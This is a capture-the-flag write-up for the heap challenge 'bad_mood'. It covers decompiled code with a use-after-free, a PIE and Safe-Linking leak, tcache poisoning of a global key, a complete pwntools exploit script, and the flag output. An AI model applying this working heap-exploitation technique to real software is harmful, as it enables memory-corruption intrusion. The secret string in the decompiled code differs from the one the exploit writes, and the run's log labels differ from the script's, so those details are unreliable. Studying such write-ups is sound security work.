badmood
- Category
-
Pwn - Files
- bad_mood libc.so.6 ld-linux-x86-64.so.2
- Description
- Vasily is in a bad mood today. He's letting go of old thoughts, tangling up new ones, and sometimes forgetting who he is. But somewhere in the depths of his memory, his name still lingers.
Security check on the binary:
❯ checksec bad_mood Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'' Stripped: NoUnlike the earlier challenges in this series, PIE is enabled. This means we cannot rely on fixed addresses for global variables like admin_key. We’ll need a leak.
Program Analysis
In this challenge, we were given a binary named badmood. Let’s try to examine the decompiled code.
Global State
The binary maintains its state through a set of global variables, which are crucial for our exploitation strategy:
void *notes[8];char admin_key[0x20];unsigned long admin_hash;const char *DEFAULT_TAG = "DEFAULT_TAG"; // Fixed string in the binaryThe DEFAULT_TAG string is particularly important because its address is stored within every note allocation, as we’ll see soon.
main
int main() { int choice; init();
// Vasily's secret key logic strcpy(admin_key, "VASILY_SECRET"); admin_hash = hash(admin_key); strcpy(admin_key, "EPON"); // Resetting it to "EPON"
while (1) { menu(); if (scanf("%d", &choice) != 1) break; switch (choice) { case 1: alloc_note(); break; case 2: free_note(); break; case 3: edit_note(); break; case 4: read_note(); break; case 5: check_admin(); break; } } return 0;}The main() function initializes the environment and sets up the administrative state. It calculates a admin_hash from the initial secret key "VASILY_SECRET", but then resets the admin_key to "EPON". Our goal will be to restore that secret key to pass the check.
alloc_note
void alloc_note() { int index; printf("Index: "); if (scanf("%d", &index) == 1 && index >= 0 && index < 8) { getchar(); void *ptr = malloc(0x68); notes[index] = ptr; // [!] PIE LEAK OPPORTUNITY: TAG pointer stored in the heap chunk *(const char **)((char *)ptr + 0x60) = DEFAULT_TAG; printf("Data: "); read(0, notes[index], 0x60); }}The alloc_note() function allocates a 0x68 byte chunk. Interestingly, it automatically stores the address of the global DEFAULT_TAG string at offset 0x60 of the newly allocated memory. This gives us a direct way to leak the binary’s base address (PIE).
free_note & Vulnerability
void free_note() { int index; printf("Index: "); if (scanf("%d", &index) == 1 && index >= 0 && index < 8) { free(notes[index]); // [!] VULNERABILITY: Use-After-Free }}The free_note() function frees the allocated memory but, once again, fails to clear the pointer in the notes array. This provides us with a Use-After-Free (UAF) vulnerability.
read_note
void read_note() { int index; printf("Index: "); if (scanf("%d", &index) == 1 && index >= 0 && index < 8) { write(1, notes[index], 0x68); puts(""); }}The read_note() function writes up to 0x68 bytes from the requested note index. Combined with the alloc_note() behavior, this allows us to leak the DEFAULT_TAG pointer at offset 0x60 to defeat PIE. Furthermore, because of the UAF, we can read from a freed chunk to leak the mangled tcache next pointer, defeating Safe-Linking.
check_admin
void check_admin() { if (hash(admin_key) == admin_hash) { char *flag = getenv("FLAG_VAL"); // ... prints flag ... exit(0); } puts("Vasily doesn't trust you.");}The check_admin() function verifies if the current admin_key (which is "EPON") hashes to the previously stored admin_hash (calculated from "VASILY_SECRET"). To pass this, we’ll need to use Tcache Poisoning to overwrite the global admin_key with the original secret.
Now that we know the bug, let’s move to the exploitation part.
Exploitation
1. pie and heap leaks
- PIE Leak: Allocate a note. Since
DEFAULT_TAGis always written to the end of the note, we can callread_noteto retrieve the address of the tag. Subtracting the known offset (0x2008) gives us the binary’s base address. - Heap Leak: Free the note. On Glibc 2.32+, the
nextpointer is mangled. By reading the freed chunk, we leak(chunk_addr >> 12) ^ 0, giving us the Heap Key.
2. Tcache Poisoning (GLIBC 2.41)
Even on the newest Glibc, the tcache poisoning strategy remains effective if we can leak the heap key:
- Target: Calculate the absolute address of
admin_keyusing the PIE leak. - Mangle: Calculate the protected file descriptor:
protected_fd = target ^ heap_key. - Overwrite: Use the UAF
editto overwrite the head of the tcache with ourprotected_fd. - Land: Allocate twice. The second allocation returns a pointer to the global
admin_key.
Overwrite the admin_key with the secret string "VASILIY_SECRET\x00" and trigger the check to claim the flag.
Exploit Script
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
gdbscript = '''init-pwndbgcontinue'''.format(**locals())
exe = './bad_mood'elf = context.binary = ELF(exe, checksec=False)context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'info'
def sa(delim,data): return io.sendafter(delim,data)def sla(delim,line): return io.sendlineafter(delim,line)def sl(line): return io.sendline(line)def mangle(heap_base, ptr): return (heap_base >> 12) ^ ptr
def alloc(idx, data): sla(b"> ", b"1") sla(b"Index: ", str(idx).encode()) sa(b"Data: ", data)
def free(idx): sla(b"> ", b"2") sla(b"Index: ", str(idx).encode())
def edit(idx, data): sla(b"> ", b"3") sla(b"Index: ", str(idx).encode()) sa(b"Data: ", data)
def read(idx): sla(b"> ", b"4") sla(b"Index: ", str(idx).encode()) data = io.recvn(0x68) io.recvuntil(b"\n1. Alloc", drop=True) return data
io = start()
alloc(0, b"A"*0x60)data = read(0)tag_ptr = u64(data[0x60:0x68])elf.address = tag_ptr - 0x2008log.success(f"PIE base = {hex(elf.address)}")
alloc(1, b"B"*8)free(1)data = read(1)heap_key = u64(data[:8].ljust(8, b"\x00"))heap_base = heap_key << 12log.info(f"Heap base: {hex(heap_base)}")
target = elf.sym["admin_key"]free(0)protected_fd = mangle(heap_base, target)edit(0, p64(protected_fd))
alloc(2, b"junk")alloc(3, b"VASILIY_SECRET\x00")
sla(b"> ", b"5")
io.interactive()Running the exploit delivers the final flag:
❯ python3 xploit.py REMOTE ctf.mf.grsu.by 9073[+] Opening connection to ctf.mf.grsu.by on port 9073: Done[+] pie addr = 0x559291adf000[+] Heap key = 0x5592c6044[+] Heap base = 0x5592c6044000[*] Switching to interactive modegrodno{V4S1LL1Y_248YV437_K70_0N_3S7_P070mySh70_74SK4_SL0m4n4}[*] Got EOF while reading in interactive$Flag: grodno{V4S1LL1Y_248YV437_K70_0N_3S7_P070mySh70_74SK4_SL0m4n4}